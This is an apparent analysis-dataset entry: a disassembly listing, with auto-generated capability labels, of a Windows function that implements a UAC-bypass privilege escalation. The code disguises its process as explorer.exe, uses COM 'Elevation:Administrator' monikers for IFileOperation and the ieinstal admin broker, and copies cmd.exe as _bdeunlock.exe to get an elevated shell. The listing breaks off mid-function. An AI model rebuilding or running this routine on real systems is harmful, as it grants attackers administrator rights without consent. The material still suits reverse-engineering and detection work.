Function at 0x1400114ce
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
jmp 0x140016a30
push rbp
push rdi
mov eax, 0x1038
call fcn.14001114f
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x2d6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140031040]
xor rax, rbp
mov qword [rbp + 0xfc0], rax
lea rcx, [0x140037108]
call fcn.1400116e5
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp + 8], rax
lea r9, [rbp + 0x28]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140024a38]
call fcn.1400112e4
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016ae9
lea rdx, str.SHGetKnownFolderPath____0__failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, 1
jmp 0x140017f0e
lea r9, [rbp + 0x48]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140025e78]
call fcn.1400112e4
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016b5a
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.SHGetKnownFolderPath____1__failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, 1
jmp 0x140017f0e
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x88]
call fcn.14001124e
nop
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0xc8]
call fcn.14001124e
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.explorer.exe
lea rcx, [rbp + 0x88]
call fcn.140011393
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x108], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.LdrEnumerateLoadedModules
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x128], rax
lea rcx, [rbp + 0x88]
call fcn.140011258
mov r8, qword [rbp + 0x128]
mov rdx, qword [rbp + 0x108]
mov rcx, rax
call fcn.1400114b5
mov edx, 0xe
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016c90
lea rdx, str.CoInitializeEx___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xd04], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xd04]
jmp 0x140017f0e
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016d49
lea rdx, str.CoInitializeSecurity___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov dword [rbp + 0xd24], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xd24]
jmp 0x140017f0e
lea rax, [rbp + 0x188]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov dword [rbp + 0x19c], 4
mov dword [rbp + 0x188], 0x30
lea r9, [rbp + 0x148]
lea r8, [0x140029940]
lea rdx, [rbp + 0x188]
lea rcx, str.Elevation:Administrator_new:3AD05575_8857_4850_9277_11B85BDB8E09
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016e0e
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.CoGetObject____0__failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xd44], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xd44]
jmp 0x140017f0e
lea r9, [rbp + 0x168]
lea r8, [0x140021be0]
lea rdx, [rbp + 0x188]
lea rcx, str.Elevation:Administrator_new:BDB57FF2_79B9_4205_9447_F5FE85F37312
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016ec4
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.CoGetObject____1__failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xd64], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xd64]
jmp 0x140017f0e
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov edx, 0x10800410
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x28]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016f85
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.IFileOperation::SetOperationFlags___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xd84], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xd84]
jmp 0x140017f0e
lea rdx, str._bdeunlock.exe
lea rcx, [rbp + 0xc8]
call fcn.140011393
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
lea r9, [rbp + 0x1d8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x18]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140017060
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.ieinstal.exe____CIEAdminBrokerObject::InitializeAdminInstaller___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xda4], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xda4]
jmp 0x140017f0e
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
lea r8, [rbp + 0x1f8]
lea rdx, [0x140021bf0]
mov rcx, qword [rbp + 0x168]
call qword [rax]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140017136
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.ieinstal.exe____CIEAdminBrokerObject::QueryInterface___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xdc4], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xdc4]
jmp 0x140017f0e
lea rcx, [rbp + 0xc8]
call fcn.140011258
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
lea rcx, [rbp + 0x278]
mov qword [rsp + 0x58], rcx
lea rcx, [rbp + 0x254]
mov qword [rsp + 0x50], rcx
lea rcx, [rbp + 0x238]
mov qword [rsp + 0x48], rcx
lea rcx, [0x140025ea8]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 2
mov qword [rsp + 0x28], 0
mov rcx, qword [rbp + 0x218]
mov qword [rsp + 0x20], rcx
mov r9, qword [rbp + 0x218]
mov r8, 0xffffffffffffffff
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x18]
mov dword [rbp + 0x64], eax
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
cmp dword [rbp + 0x64], 0
jge 0x1400172a6
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.ieinstal.exe____CIEAdminBrokerObject::VerifyFile___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xde4], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xde4]
jmp 0x140017f0e
lea rax, [rbp + 0x540]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0x19
lea rax, [rbp + 0x298]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x102
lea r9, [rbp + 0x2f0]
mov r8d, 3
lea rdx, [rbp + 0x514]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ucrtbased.dll__wsplitpath_s]
lea r8, str..exe
mov edx, 0x19
lea rcx, [rbp + 0x298]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
lea r8, [rbp + 0x514]
mov edx, 0x104
lea rcx, [rbp + 0x540]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
lea r8, [rbp + 0x2f0]
mov edx, 0x104
lea rcx, [rbp + 0x540]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor r8d, r8d
lea rdx, str._bdeunlock.exe
lea rcx, [rbp + 0xc8]
call fcn.1400114dd
mov r9, rax
xor r8d, r8d
lea rdx, [rbp + 0xe08]
lea rcx, [rbp + 0xc8]
call fcn.1400111a9
mov qword [rbp + 0xfb8], rax
mov rdx, qword [rbp + 0xfb8]
lea rcx, [rbp + 0xc8]
call fcn.1400115b4
lea rcx, [rbp + 0xe08]
call fcn.140011636
lea rdx, str.cmd.exe
lea rcx, [rbp + 0xc8]
call fcn.140011393
lea rcx, [rbp + 0xc8]
call fcn.140011258
xor r8d, r8d
lea rdx, [rbp + 0x298]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x1400174bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xfb4], eax
lea rdx, str.CopyFileW___failed._Error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
mov ecx, dword [rbp + 0xfb4]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov dword [rbp + 0xe44], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xe44]
jmp 0x140017f0e
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, eax
mov qword [rbp + 0xfb8], rax
lea rcx, [rbp + 0x298]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov rcx, qword [rbp + 0xfb8]
lea rax, [rcx + rax + 1]
mov qword [rbp + 0x7c8], rax
mov eax, 2
mul qword [rbp + 0x7c8]
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14001130c
mov qword [rbp + 0xe68], rax
mov rax, qword [rbp + 0xe68]
mov qword [rbp + 0x7e8], rax
mov rdx, qword [rbp + 0x7e8]
mov ecx, dword [rbp + 0x7c8]
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea r8, [0x1400233ec]
mov rdx, qword [rbp + 0x7c8]
mov rcx, qword [rbp + 0x7e8]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
lea r8, [rbp + 0x298]
mov rdx, qword [rbp + 0x7c8]
mov rcx, qword [rbp + 0x7e8]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
lea r9, [rbp + 0x7a8]
lea r8, [0x140029520]
xor edx, edx
mov rcx, qword [rbp + 0x7e8]
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov dword [rbp + 0x64], eax
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0xe88], rax
mov rcx, qword [rbp + 0xe88]
call fcn.140011357
cmp qword [rbp + 0xe88], 0
jne 0x1400175bc
mov qword [rbp + 0xfb8], 0
jmp 0x1400175d5
mov qword [rbp + 0x7e8], 0x8123
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0xfb8], rax
cmp dword [rbp + 0x64], 0
jge 0x1400176b5
lea rcx, [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, [0x1400233f0]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xea4], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xea4]
jmp 0x140017f0e
lea r9, [rbp + 0x768]
lea r8, [0x140029520]
xor edx, edx
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x1400177c9
mov rax, qword [rbp + 0x7a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x7a8]
call qword [rax + 0x10]
lea rcx, [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
